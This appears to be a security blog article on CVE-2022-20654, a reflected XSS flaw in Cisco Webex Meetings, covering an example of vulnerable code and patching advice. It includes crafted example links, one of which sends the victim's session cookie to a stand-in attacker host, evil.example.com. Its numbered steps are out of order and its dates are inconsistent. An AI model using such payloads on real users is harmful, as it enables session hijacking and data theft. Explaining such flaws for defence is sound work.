CVE-2022-20654 - Critical XSS Vulnerability in Cisco Webex Meetings

In late 2022, security researchers uncovered a serious vulnerability affecting the web-based interface of Cisco Webex Meetings—one of the essential platforms powering remote communications for businesses and organizations worldwide. Known as CVE-2022-20654, this flaw makes it possible for an attacker to launch a cross-site scripting (XSS) attack that could compromise sensitive information or manipulate user sessions.

In this article, we’ll break down what exactly this vulnerability is, how it works with accessible examples, and what you can do to protect your organization and users from it.

What is CVE-2022-20654?

CVE-2022-20654 is a security bug in the web-based interface of Cisco Webex Meetings that comes down to insufficient validation of user-provided input. This lets a remote, unauthenticated attacker (anyone on the internet!) send specially crafted data to the affected interface, opening the door to a range of attacks.

The key concern here is Reflected Cross-Site Scripting (XSS), where malicious code is delivered to victims by tricking them into clicking a manipulated link. If the victim clicks that link, the attacker's code executes right in their browser, just as if the victim had typed the code themselves into the browser console.

Cisco’s advisory can be found here:

Cisco Security Advisory: CVE-2022-20654

1. Crafting the Malicious Link

An attacker creates a URL that includes malicious JavaScript in a Webex Meetings parameter. Here’s a simple example:

https://webex.example.com/wbx?room=%22%3E%3Cscript%3Ealert('XSSed!')%3C/script%3E

%3E: Encoded greater-than sign (>) to close a tag

- <script>alert('XSSed!')</script>: Classic XSS JavaScript payload

When a victim clicks this link, the malicious script can run under the permissions of the Webex Meetings app in their browser.

3. No Authentication Needed

Since this vulnerability is unauthenticated, attackers don’t need any login or privileged access—just a crafted URL and a victim willing to click.

Here’s how vulnerable code might look (simplified for illustration)

// Hypothetical server-side code
let room = req.query.room;  
res.send('<div id="roomName">' + room + '</div>');

If room contains malicious code (not sanitized), it’s output directly to the HTML page.

A secure version would sanitize the input to prevent XSS

let roomSafe = escapeHtml(req.query.room);
res.send('<div id="roomName">' + roomSafe + '</div>');
// Where escapeHtml replaces <, >, ", ', etc., with safe equivalents

Someone receives an email or message like this

> Join the meeting here: https://webex.example.com/wbx?room=%22%3E%3Cscript%3Edocument.location='https://evil.example.com/?cookie='+document.cookie%3C/script%3E

2. Victim clicks—now compromised

Once the link opens, the script can steal their session cookie and send it to the attacker’s server.

Company information, attachments, and chat logs can be at risk

No workarounds or simple firewall solutions exist—patching is essential!

Update immediately: Do not delay rolling out official Cisco patches.

- Cisco Software Download Center

References

- Cisco Security Advisory for CVE-2022-20654
- NVD Entry CVE-2022-20654
- Cisco Webex Meetings Software Download

Conclusion

CVE-2022-20654 shows how even trusted business platforms can contain dangerous vulnerabilities that impact thousands of organizations. XSS bugs like this one can have very real consequences—from stolen information to full account compromise. The good news is that Cisco has released patches, and by being proactive, you can keep your business and users safe.

Upgrade now, train your staff, and always be skeptical of unusual links. Your security is only as strong as your weakest click.

Timeline

Published on: 11/15/2024 16:15:20 UTC